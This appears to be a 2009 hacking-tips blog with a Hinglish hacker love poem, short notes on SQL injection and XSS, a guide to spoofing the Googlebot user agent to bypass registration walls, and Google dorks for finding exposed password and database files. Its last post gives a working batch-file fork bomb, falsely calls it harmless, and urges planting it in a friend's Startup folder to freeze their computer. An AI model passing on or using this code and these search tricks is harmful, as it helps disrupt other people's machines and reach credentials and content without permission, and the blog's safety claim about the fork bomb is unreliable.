xmlns:fb=’http://www.facebook.com/2008/fbml’ Ethical Security

search

Custom Search

Monday, October 12, 2009

Hacker ka pyaar

Kabh Se Boot kiye Baithaa Hoon
PC Apne Pyar Ka
Kaise Type Karoon Mein Lekin
Password Izhaar Ka

Dil ki Chaaron Drives Pe Meine
Jaana Tujhko Search Kiya
Yahoo!, Yahoo!, Google!, Google!
Kitna Paisa Kharch Kiya

Tere Chehre Pe Gussay Ka
ScreenSaver Jab Aata Hai
Mere Chehre Ka Display Tabh
Greyscale Ho Jata Hai

Jinke Links Abh Toot Chuke Hai
Shortcuts Woh Wipe Karo
Apani ankhiyon ke browser mei
Mera Address Type Karo

Aakar Dekho To Mujhko
Mein SQL Prompt PAr Rehta Hoon
Tere Login Ki Chaah Mein Kitne
Scott/Tiger Sehtaa Hoon

Chhahat Hai Tere Pyar Ki Site
Raat Din Mein Hack Karoon
Patthar Dil-Daddy Ka Tere
Software Bhi Crack Karoon

Buddha Agar Jo Maan Gaya Toh
Hum Connect Ho Jaayenge
VSNL Ke Server Ke
Phere Phir Saat Lagaayenge

Ginti Ke Bas Bache Hai Baaki
Mere Jeewan KE Yeh Pal
Tu Jo Aakar Pyar Se Chhhoo Le,
Mil Jaayega Aur Ek Kal,

JAI ORACLE!! JAI ORACLE!!

Thursday, July 16, 2009

Advanced SQL Injection

This is the video of the talk titled "Advanced SQL Injection" given at LayerOne 2009 by Joe McCray.SQL Injection is a vulnerability that is often missed by web application security scanners, and it’s a vulnerability that is often rated as NOT exploitable by security testers when it actually can be exploite.





Friday, July 3, 2009

Cross Site Scripting (XSS)

Cross Site Scripting (XSS) is a code injection vulnerability found in web applications and is generally used by malicious hackers to hijack a legitimate user's session with the website.XSS vulnerabilities are caused because of improper validation of user input by the Server and then sending this invalidated input back to the user in some exploitable form.







Tuesday, June 30, 2009

SQL injection vedio tutorial

Thursday, June 25, 2009

Access a Website That Allows Google But Not You

when you conduct a search on Google and the search engine returns a number of good results, but when you try to open the ones that looks the most interesting you get a registration page. The reason is that there are some websites that allow Google but not unregistered or you. The solution is to disguise yourself as Google changing your browser's identity (named user agent) to Googlebot.

Internet Explorer

Copy this code into notepad and save it as a .reg file (name it googlebot-useragent.reg for example)

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Internet Settings\5.0\User Agent]
@="Googlebot/2.1"
"Compatible"="+http://www.googlebot.com/bot.html"

Now double-click the .reg file you've created to merge it into Windows registry. In order to restore the default user agent copy this code into notepad and save it as a .reg file (name it standard-useragent.reg for example)


Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Internet Settings\5.0\User Agent]
@="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Now double-click the .reg file you've created (or downloaded) in order to change back to the default user agent.


Firefox

Type in about:config in the address bar and down to find "general.useragent.extra.firefox".
Double click on it and type in "Googlebot 2.1".
This will change Firefox user agent to the google bot. To change the user agent back to the original click Reset to restore the property to its default value.

Opera ,Safari

There is no way to change the user agent to Googlebot in Opera and safari

Friday, June 19, 2009

Get most out of Google

Google Search Options

Specific file types: *.xls, *.doc, *.pdf *.ps *.ppt *.rtf
Google allows you to search for specific file types, so instead of getting html-files as a result (websites) you get Microsoft excel files for example. The search string you would use would be this:

Filetype:xls (for excel files) or filetype:doc for word files.
But maybe more interesting would be searching for *.db files and *.mdb files. Google by the way doesn’t tell you, you can search for *.db and *mdb files. I wonder what other file types one can search for. Things that come to mind are *.cfg files or *.pwd files, *.dat files, stuff like that. Try and think of something that might get you some interesting results.

Inurl

Another useful search option is the inurl: option which allows one to search for a certain word one would want to be in the url. This gives you the opportunity to search for specific directories/folders, especially in combination with the “index of” option. An example would be inurl:master-tricks which would give you results of website urls that have the word “master-tricks” in the url.

Index of

The index of option is another option that isn’t especially thought of by the creators of google, but comes in very handy. If you use the “index of” string you will find directory listings of specific folders on servers. An example could be: "index of” master-tricks or index.of.master-tricks which would get you many directory listings of master-tricks folders. (don’t forget to use the quotes in this case since you are looking for the entire “index of” string, not just for “index” and “of”)

Site

The site option allows you to come up with results that only belong to a certain domain name extension or to a specific site. For example one could search for .com sites or .box.sk sites or .nl sites, but also for results from just one site. An example of a search string would be: Site:org

Intitle

Intitle is another nice option. It allows you to search for html files that have a certain word or words in the title. The format would be intitle:wordhere.

Link

The Link option allows you to check which sites link to a specific site. For example link:http://pratikthorve.blogspot.com

Combining search options

The above mentioned search options might or might not be known to you, but even though they can amount to some interesting results, it’s a fact that when you start combining them, that’s when google’s magic starts to show. For example, one could try this search string: inurl:master-tricks intitle:master-tricks or this one: site:org filetype:xls "password" .

Try this fork bomb

This is a small code , which will make a command run over and over until the computer cannot handle any more programs and the computer will freeze or shutdown.
!!!!THIS IS HARMLESS AND WILL DO NO DAMAGE TO YOUR COMPUTER!!!!!

To make this open note pad and type:

@echo off
:START
start a.bat
GOTO START

The code above must be saved as a.bat and when the other person opens it nothing will appear but in the background it will keep opening its self until the computer freezes or shuts down.
You can try this on your friends by putting it in the Startup.

Related Posts with Thumbnails
When reproducing our materials in whole or in part, hyperlink to the articles should be strictly made Creative Commons License This work is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 2.5 India License.